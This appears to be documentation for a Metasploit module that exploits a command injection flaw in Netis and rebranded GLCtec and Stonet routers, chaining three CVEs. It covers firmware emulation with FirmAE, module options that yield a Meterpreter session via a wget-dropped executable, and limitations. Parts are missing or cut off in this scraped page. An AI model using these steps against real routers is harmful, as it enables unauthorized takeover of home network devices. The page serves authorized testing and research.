## Vulnerable Application | ||
Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from a command injection vulnerability at the change | ||
password page of the router web interface (see [CVE-2024-48456](https://www.cve.org/CVERecord?id=CVE-2024-48456) for more details). | ||
The vulnerability stems from improper handling of the password and new password parameter within the router's web interface. | ||
Attackers can inject a command in the password or new password parameter, encoded in base64, to exploit the command injection | ||
vulnerability. | ||
When exploited, this can lead to command execution, potentially allowing the attacker to take full control of the router. | ||
An attacker needs to be authenticated to initiate this RCE, however [CVE-2024-48457](https://www.cve.org/CVERecord?id=CVE-2024-48457) | ||
allows an unauthenticated attacker to reset the Wifi and router password, hence gaining full root access to the router to execute | ||
the RCE. | ||
|
||
Last but not least, [CVE-2024-48455](https://www.cve.org/CVERecord?id=CVE-2024-48455) allows for unauthenticated information disclosure | ||
revealing sensitive configuration information of the router which can be used by the attacker to determine if the router is running | ||
specific vulnerable firmware. | ||
|
||
The following router firmware versions are vulnerable: | ||

## Installation | ||
Ideally, to test this module, you would need a vulnerable Netis Router device. | ||
However, by downloading the firmware and install and use `FirmAE` to emulate the router, | ||
we can simulate the router and test the vulnerable endpoint. | ||
|
||
### Installation steps to emulate the router firmware with FirmAE | ||
* Install `FirmAE` on your Linux distribution using the installation instructions provided [here](https://github.com/pr0v3rbs/FirmAE). | ||
* To emulate the specific firmware that comes with the Netis devices, `binwalk` might need to be able to handle a sasquatch filesystem. | ||
* This requires additional [installation steps](https://gist.github.com/thanoskoutr/4ea24a443879aa7fc04e075ceba6f689). | ||
* Please do not forget to run this after your `FirmAE` installation otherwise you will not be able to extract the firmware. | ||
* Download the vulnerable firmware from Netis or from one of the other brands like GLCtec or Stonet. | ||
* We will pick `GLC_ALPHA_AC3-V3.0.2.115.bin` for the demonstration. | ||
* Start emulation. | ||
* First run `./init.sh` to initialize and start the Postgress database. | ||
* Start a debug session `./run.sh -d Netis /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin` | ||
* This will take a while, but in the end you should see the following... | ||
```shell | ||
# ./run.sh -d netis /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin | ||

- [x] `set rhosts <ip-target>` | ||
- [x] `set lhost <ip-attacker>` | ||
- [x] `set target <0=Linux Dropper>` | ||
- [x] `exploit` | ||
you should get a `Meterpreter` session. | ||

Description: | ||
Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from a command injection | ||
vulnerability at the change admin password page of the router web interface (see CVE-2024-48456 for more details). | ||
The vulnerability stems from improper handling of the 'password' and 'new password' parameter within the | ||
router's web interface. Attackers can inject a command in the 'password' or 'new password' parameter, | ||
encoded in base64, to exploit the command injection vulnerability. When exploited, this can lead to | ||

attacker to reset the Wifi and router password, hence gaining full admin access to the router to execute the RCE. | ||
Last but not least, CVE-2024-48455 allows for unauthenticated information disclosure revealing sensitive configuration | ||
information of the router which can be used by the attacker to determine if the router is running specific vulnerable | ||
firmware. | ||

## Options | ||
### CMD_DELAY | ||
Chained command lines using `;` do not work, so each command need to be executed in a separate request | ||
with delay of 30 seconds of more to avoid session locking using the `CMD_DELAY` option. | ||

## Limitations | ||
Staged payloads might core dump on the target, so use stage-less payloads when using the Linux Dropper target. | ||
Another limitation is that the router has a very limited command set that can be leveraged, | ||
so the only option is to use the `wget` command to drop an executable on the target to get a session. | ||
Chained command lines using `;` do not work, so each command need to be executed in a separate request | ||
with a delay of 30 seconds or more to avoid session locking (see the `CMD_DELAY` option). | ||
Last but not least, be mindful that the admin router password gets overwritten by the exploit, | ||
resulting in a clear indicator of compromise. |
Oops, something went wrong.
